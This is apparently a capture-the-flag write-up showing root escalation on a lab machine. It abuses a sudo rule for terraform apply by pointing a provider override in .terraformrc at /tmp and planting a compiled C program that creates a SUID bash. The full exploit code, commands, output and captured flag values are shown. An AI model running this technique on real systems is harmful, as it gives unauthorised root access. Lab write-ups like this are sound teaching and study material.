total 36
drwxr-x--- 4 jeremy jeremy 4096 Aug 21 20:24 .
drwxr-xr-x 3 root   root   4096 Aug 21 20:09 ..
lrwxrwxrwx 1 root   root      9 Aug 21 19:57 .bash_history -> /dev/null
-rw-r--r-- 1 jeremy jeremy  220 Aug 21 17:28 .bash_logout
-rw-r--r-- 1 jeremy jeremy 3771 Aug 21 17:28 .bashrc
drwx------ 2 jeremy jeremy 4096 Aug 21 20:09 .cache
drwxr-xr-x 3 jeremy jeremy 4096 Aug 21 20:09 docker
-rw-r--r-- 1 jeremy jeremy  807 Aug 21 17:28 .profile
-rw-rw-r-- 1 jeremy jeremy  150 Aug 21 18:48 .terraformrc
-rw-r----- 1 root   jeremy   33 Aug 24 03:35 user.txt
jeremy@previous:~$ cat user.txt
bc9aa982ce3287605475b846835c6aeb

Grab our user.txt flag.

Initial Access

After we are in jeremy user, let’s check out some sudo permissions and recon around the machine.

Sudo Permissions

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jeremy@previous:~$ sudo -l
[sudo] password for jeremy: 
Matching Defaults entries for jeremy on previous:
    !env_reset, env_delete+=PATH, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir\=/opt/examples apply

So we can leverage terraform to get root.

Terraform Discovery

Take a google to understand a bit about terraform and found out Terraform Command Line Interface so we know that terraform is a tool to manage infrastructure as code.

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jeremy@previous:~$ ls -la
total 36
drwxr-x--- 4 jeremy jeremy 4096 Aug 21 20:24 .
drwxr-xr-x 3 root   root   4096 Aug 21 20:09 ..
lrwxrwxrwx 1 root   root      9 Aug 21 19:57 .bash_history -> /dev/null
-rw-r--r-- 1 jeremy jeremy  220 Aug 21 17:28 .bash_logout
-rw-r--r-- 1 jeremy jeremy 3771 Aug 21 17:28 .bashrc
drwx------ 2 jeremy jeremy 4096 Aug 21 20:09 .cache
drwxr-xr-x 3 jeremy jeremy 4096 Aug 21 20:09 docker
-rw-r--r-- 1 jeremy jeremy  807 Aug 21 17:28 .profile
-rw-rw-r-- 1 jeremy jeremy  150 Aug 21 18:48 .terraformrc
-rw-r----- 1 root   jeremy   33 Aug 24 03:35 user.txt

So take a look at home directory, we found out .terraformrc file.

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jeremy@previous:~$ cat .terraformrc 
provider_installation {
        dev_overrides {
                "previous.htb/terraform/examples" = "/usr/local/go/bin"
        }
        direct {}
}

This one is a configuration file that terraform will use provider binary from /usr/local/go/bin.

From this path /usr/bin/terraform -chdir\=/opt/examples apply, let’s check out /opt/examples.

What to know option -chdir is used for, check out /usr/bin/terraform -h

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jeremy@previous:/opt$ ls -la
total 20
drwxr-xr-x  5 root root 4096 Aug 21 20:09 .
drwxr-xr-x 18 root root 4096 Aug 21 20:23 ..
drwx--x--x  4 root root 4096 Aug 21 20:09 containerd
drwxr-xr-x  3 root root 4096 Aug 24 13:25 examples
drwxr-xr-x  3 root root 4096 Aug 21 20:09 terraform-provider-examples

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jeremy@previous:/opt/examples$ ls -la
total 28
drwxr-xr-x 3 root root 4096 Aug 24 13:28 .
drwxr-xr-x 5 root root 4096 Aug 21 20:09 ..
-rw-r--r-- 1 root root   18 Apr 12 20:32 .gitignore
-rw-r--r-- 1 root root  576 Aug 21 18:15 main.tf
drwxr-xr-x 3 root root 4096 Aug 21 20:09 .terraform
-rw-r--r-- 1 root root  247 Aug 21 18:16 .terraform.lock.hcl
-rw-r--r-- 1 root root 1097 Aug 24 13:28 terraform.tfstate

Check out main.tf file.

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jeremy@previous:/opt/examples$ cat main.tf
terraform {
  required_providers {
    examples = {
      source = "previous.htb/terraform/examples"
    }
  }
}

variable "source_path" {
  type = string
  default = "/root/examples/hello-world.ts"

  validation {
    condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
    error_message = "The source_path must contain '/root/examples/'."
  }
}

provider "examples" {}

resource "examples_example" "example" {
  source_path = var.source_path
}

output "destination_path" {
  value = examples_example.example.destination_path
}

So this is a terraform module that will copy the file from /root/examples/hello-world.ts to /home/jeremy/docker/previous/public/examples/hello-world.ts.

Here is the assumption, what if we modify the .terraformrc to /tmp cause we have the right to do that. And then we will create a SUID file within C and complied it to terraform-provider-examples then run to apply and we got root.
→ Let’s try it out.

Privilege Escalation

Terraform Exploit

First we will modify the .terraformrc.

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jeremy@previous:/opt/examples$ cat > ~/.terraformrc << 'EOF'
provider_installation {
  dev_overrides {
    "previous.htb/terraform/examples" = "/tmp"
  }
  direct {}
}
EOF

Then we gonna create a pwn.c file contains SUID binary.

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jeremy@previous:/tmp$ cat > pwn.c << 'EOF'
#include <unistd.h>
#include <stdlib.h>

int main() {
    setuid(0);
    setgid(0);
    system("cp /bin/bash /tmp/bash; chmod +s /tmp/bash");
    return 0;
}
EOF

Now let’s compile and add execute permission.

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jeremy@previous:/tmp$ gcc pwn.c -o /tmp/terraform-provider-examples
jeremy@previous:/tmp$ chmod +x terraform-provider-examples

Then we run terraform to apply.

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jeremy@previous:/opt/examples$ sudo /usr/bin/terraform -chdir=/opt/examples apply
╷
│ Warning: Provider development overrides are in effect
│ 
│ The following provider development overrides are set in the CLI configuration:
│  - previous.htb/terraform/examples in /tmp
│ 
│ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become incompatible with published releases.
╵
╷
│ Error: Failed to load plugin schemas
│ 
│ Error while loading schemas for plugin components: Failed to obtain provider schema: Could not load the schema for provider previous.htb/terraform/examples: failed to instantiate provider "previous.htb/terraform/examples" to obtain schema: Unrecognized remote plugin message: 
│ Failed to read any lines from plugin's stdout
│ This usually means
│   the plugin was not compiled for this architecture,
│   the plugin is missing dynamic-link libraries necessary to run,
│   the plugin is not executable by this process due to file permissions, or
│   the plugin failed to negotiate the initial go-plugin protocol handshake
│ 
│ Additional notes about plugin:
│   Path: /tmp/terraform-provider-examples
│   Mode: -rwxrwxr-x
│   Owner: 1000 [jeremy] (current: 0 [root])
│   Group: 1000 [jeremy] (current: 0 [root])
│   ELF architecture: EM_X86_64 (current architecture: amd64)
│ ..
╵

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jeremy@previous:/tmp$ ls -la
total 1440
drwxrwxrwt 13 root   root      4096 Aug 24 14:31 .
drwxr-xr-x 18 root   root      4096 Aug 21 20:23 ..
-rwsr-sr-x  1 root   root   1396520 Aug 24 14:31 bash
drwxrwxrwt  2 root   root      4096 Aug 24 03:35 .font-unix
drwxrwxrwt  2 root   root      4096 Aug 24 03:35 .ICE-unix
-rw-rw-r--  1 jeremy jeremy     158 Aug 24 14:30 pwn.c
drwx------  3 root   root      4096 Aug 24 03:35 systemd-private-43ecc6467376485089d77d72d6e9d57e-ModemManager.service-ozAkLV
drwx------  3 root   root      4096 Aug 24 03:35 systemd-private-43ecc6467376485089d77d72d6e9d57e-systemd-logind.service-oImfWS
drwx------  3 root   root      4096 Aug 24 03:35 systemd-private-43ecc6467376485089d77d72d6e9d57e-systemd-resolved.service-KsIn18
drwx------  3 root   root      4096 Aug 24 03:35 systemd-private-43ecc6467376485089d77d72d6e9d57e-systemd-timesyncd.service-cuIkgQ
drwx------  3 root   root      4096 Aug 24 04:21 systemd-private-43ecc6467376485089d77d72d6e9d57e-upower.service-2YySA7
-rwxrwxr-x  1 jeremy jeremy   16048 Aug 24 14:30 terraform-provider-examples
-rw-rw-r--  1 jeremy jeremy     107 Aug 24 14:22 .terraformrc
drwxrwxrwt  2 root   root      4096 Aug 24 03:35 .Test-unix
drwx------  2 root   root      4096 Aug 24 03:36 vmware-root_608-2722828967
drwxrwxrwt  2 root   root      4096 Aug 24 03:35 .X11-unix
drwxrwxrwt  2 root   root      4096 Aug 24 03:35 .XIM-unix

So we got bash with SUID permission, let’s run it.

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jeremy@previous:/tmp$ /tmp/bash -p
bash-5.1# id
uid=1000(jeremy) gid=1000(jeremy) euid=0(root) egid=0(root) groups=0(root),1000(jeremy)

There we go, we got root.

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bash-5.1# ls -la
total 56
drwx------ 10 root root 4096 Aug 24 03:35 .
drwxr-xr-x 18 root root 4096 Aug 21 20:23 ..
lrwxrwxrwx  1 root root    9 Aug 21 19:57 .bash_history -> /dev/null
-rw-r--r--  1 root root 3142 Aug 21 18:06 .bashrc
drwx------  3 root root 4096 Aug 21 18:09 .cache
drwxr-xr-x  2 root root 4096 Aug 21 18:41 clean
drwxr-xr-x  4 root root 4096 Aug 21 18:09 .config
drwxr-xr-x  2 root root 4096 Apr 12 20:32 examples
drwxr-xr-x  3 root root 4096 Apr 11 15:21 go
drwxr-xr-x  3 root root 4096 Apr 27  2023 .local
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-r-----  1 root root   33 Aug 24 03:35 root.txt
drwx------  2 root root 4096 Aug 21 18:53 .ssh
drwxr-xr-x  3 root root 4096 Aug 21 18:12 .terraform.d
-rw-r--r--  1 root root  150 Aug 21 18:48 .terraformrc
bash-5.1# cat root.txt
f11427eed65a945accce4dffe740c1fb

BOOM! Nailed the root.txt flag.

result

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This post is licensed under CC BY 4.0 by the author.